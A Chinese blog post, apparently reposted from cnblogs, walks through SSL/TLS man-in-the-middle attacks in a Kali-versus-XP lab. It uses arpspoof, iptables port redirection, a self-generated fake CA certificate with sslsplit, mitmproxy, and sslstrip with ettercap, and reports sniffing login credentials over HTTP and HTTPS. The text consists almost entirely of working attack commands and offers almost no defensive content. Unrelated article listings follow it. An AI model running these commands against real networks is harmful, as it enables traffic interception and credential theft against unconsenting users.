准备:kali、xp

kali ip:192.168.14.157

目标ip:192.168.14.158

目标网关:192.168.14.2

使用工具:ettercap、sslstrip、arpspoof、 Mitmproxy、sslsplit

下面使用三种方法,但只有第三种方法会有图文演示。

一、sslsplit+arpspoof

(1)简介

透明SSL中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书,需要现在本地生成伪造证书
支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击

(2)利用openssl 生成证书私钥
openssl genrsa -out ca.key 2048

(3)利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [AU]:CN

State or Province Name (full name) [Some-State]:jilin
Locality Name (eg, city) []:changchun

Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba

Organizational Unit Name (eg, section) []:ali

Common Name (e.g. server FQDN or YOUR name) []:alibaba

Email Address []:123456@163.com

(4)攻击者开启路由功能
第一种修改的方法:sysctl -w net.ipv4.ip_forward=1

第二种修改的方法:
vim /etc/sysctl.conf

net.ipv4.ip_forward=1

(5)配置 iptables 规则,简单来说就是将加密浏览和不加密的流量重定向到指定端口

# 查看规则

root@kali:~# iptables -t nat -L -n

# 清空规则

root@kali:~# iptables -t nat -F

# 查看 80 和 443 端口是否有占用

root@kali:~# netstat -tulnp | grep 80

root@kali:~# netstat -tulnp | grep 443

注意: PREROUTING:路由生效之前执行规则

# 发给 80 端口的流量转发给 8080

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

# 发给 443 端口的流量转发给 8443

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

# MSA:邮件提交代理

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

# SMTPS:简单邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

# IMAPS:接收邮件

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

# POP3S:邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

#再一次查看规则

iptables -t nat -L -n

(6)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 192.168.14.158 -r  192.168.14.2

(7)启动 sslsplit 进行攻击

1.创建目录和文件

root@kali:~# mkdir test

root@kali:~# mkdir /root/test/logdir

2.开启sllsplit侦听 8080 和 8443

sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

二、Mitmproxy+arpspoof

Mitmproxy也是和SSLsplit差不多的工具。

(1)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2

(2)添加防火墙规则

# Mitmproxy 只支持在 8080 侦听

iptables -t nat -F

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

(3)mitmproxy 启动

mitmproxy -T --host -w mitmproxy.log

三、ettercap+arpspoof+sllstrip

(1)开启流量转发

echo 1 > /proc/sys/net/ipv4/ip_forward

(2)端口转发,10000为sslstrip的监听端口

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

(3)ARP欺骗

arpspoof -i eth0 -t 192.168.18.100 192.168.18.254

(4)开启sslstrip
sslstrip -a -k -f

(5)开启ettercap嗅探密码

ettercap -T -q -i eth0

(6)在xp上先测试HTTP登陆

用户名:bbbb

密码:test

下面信息显示嗅探成功

(7)在xp上测试HTTPS登陆

用户名:test

密码:test

下面信息显示嗅探成功

总结:如果你想查看在传输过程中更详细的信息可以使用前面两种方法,但是需要注意的是,前面两种方法使用伪造的证书加密数据,会被网站提醒证书错误,这样很容易攻击失败。

第三种方法的攻击思路:

ARP欺骗,使得攻击者能截获所有目标主机的网络流量;
攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;
同时,与目标服务器建立正常的HTTPS连接;
由于HTTP通信是明文传输,攻击者能轻松实施嗅探。

转载于:https://www.cnblogs.com/-wenli/p/10051431.html

SSL/TLS中间人攻击相关推荐

  1. SSL\TLS中间人攻击

    攻击者位于客户端和服务器通信链路中 ARP DHCP 修改网关 修改DNS 修改HOSTS ICMP\STP\OSPF 加密流量 攻击的前提 客户端已经信任伪造证书颁发机构 攻击者控制了核心证书颁发机 ...

  2. 针对SSL的中间人攻击

    1 中间人攻击概述     中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持.DNS欺骗等攻击 ...

  3. Android程序员面试必须要掌握的:Https加密原理、中间人攻击到底是怎么回事

    前言–阅读本文你将收获 1.https加密的基本原理与过程,https为什么是安全的? 2.什么是中间人攻击,中间人攻击的基本原理 3.如何防止中间人攻击 作者:RicardoMJiang 链接:ht ...

  4. 【漏洞修复】TLS protocol中间人攻击漏洞(CVE-2015-4000) 升级ssl

    文章目录 问题描述 Centos7 下 OpenSSL 升级到 OpenSSL 3.0 问题描述 TLS(Transport Layer Security,安全传输层协议)是一套用于在两个通信应用程序 ...

  5. TLS是如何保障数据传输安全(中间人攻击)

    前言 前段时间和同事讨论HTTPS的工作原理,当时对这块知识原理掌握还是靠以前看了一些博客介绍,深度不够,正好我这位同事是密码学专业毕业的,结合他密码学角度对tls加解密(DH这块)的阐述,让我对这块 ...

  6. 常见的几种SSL/TLS漏洞及攻击方式

    原文阅读:https://www.infinisign.com/fa... 迄今为止,SSL/TLS已经阻止了基于SSL的无数次的网络攻击,本文介绍了SSL/TLS常见的几种漏洞以及过往的攻击方式,针 ...

  7. TLS/SSl相关的攻击漏洞及检测方法大杂烩!

    TLS/SSl相关的攻击漏洞及检测方法大杂烩! 曾以为爱可以排除万难,可万难过后,又有万难. 漏洞介绍: TLS/SSL介绍: SSL"安全套接层"协议,TLS"安全传输 ...

  8. SSL/TLS攻击介绍--重协商漏洞攻击

    一.概述 最近几年曝出的高风险SSL/TLS安全漏洞大多跟SSL实现库相关,比如2011年曝出的SSL/TLS默认重协商漏洞,可导致DOS攻击, 比如2014年4月曝出的"心脏滴血" ...

  9. NVE-01-2015-11090:SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808) [端口: 443]

    漏洞标识 NVE-01-2015-11090 漏洞名称 SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808) 漏洞类别 WEB服务器测试 发布日期 2015.03.3 ...

最新文章

  1. R包reshape2,轻松实现长、宽数据表格转换
  2. IDEA mybatis-generator 逆向工程
  3. 每日两句英语-7/7/2009
  4. Web内核微信小程序框架实践
  5. 微软发布 Azure 物联网安全中心;阿里巴巴在美申请专利,以实现跨区块链统一管理;Google利用足球训练下一代人工智能……...
  6. mysql dump cvs_mysqldump 导出CSV文件
  7. jQuery DOM/属性/CSS操作
  8. 5 个鲜为人知 GNU 调试器(GDB)技巧 | Linux 中国
  9. 创建虚拟机与安装系统
  10. EXCEL VBA编程入门四:录制宏
  11. Java视频教程免费分享
  12. 电脑桌面有HTML一直删除不了,IE浏览器首页地址被改或桌面顽固IE快捷方式无法删除...
  13. 解决bootstrap中模态框打开时页面发生一瞬间移动
  14. Connection closed by foreign host
  15. 六【Java 基础】数组的概述: 数组的定义与使用
  16. 半小时体验云原生:手把手教你在k8s上部署springboot应用——干货分享,建议收藏
  17. 华为Android10怎样root,华为Mate10 root教程_华为Mate10卡刷获取root权限的方法
  18. 树莓派安装Ubuntu20.04
  19. java发送通知栏样式_Android 通知栏Notification详解
  20. c++ opencv 身份证OCR识别:前期数据训练库准备(tesseractOCR)

热门文章

  1. 【转】为什么要写技术博,写在前面的话
  2. BZOJ 1996 [Hnoi2010]chorus 合唱队
  3. 项目开发中,我们总能遇到的那么些坑,不仅是代码上的,还有第三方接口的...
  4. Winform开发框架中工作流模块的业务表单开发
  5. Atom 插件手动安装
  6. 浅谈RxJava与2.0的新特性
  7. easyUI与选择WebUI
  8. org.apache.struts2.dispatcher.FilterDispatcher的四个功能
  9. 在Linux下配置TCP/IP
  10. 制作一个简易的QQ×××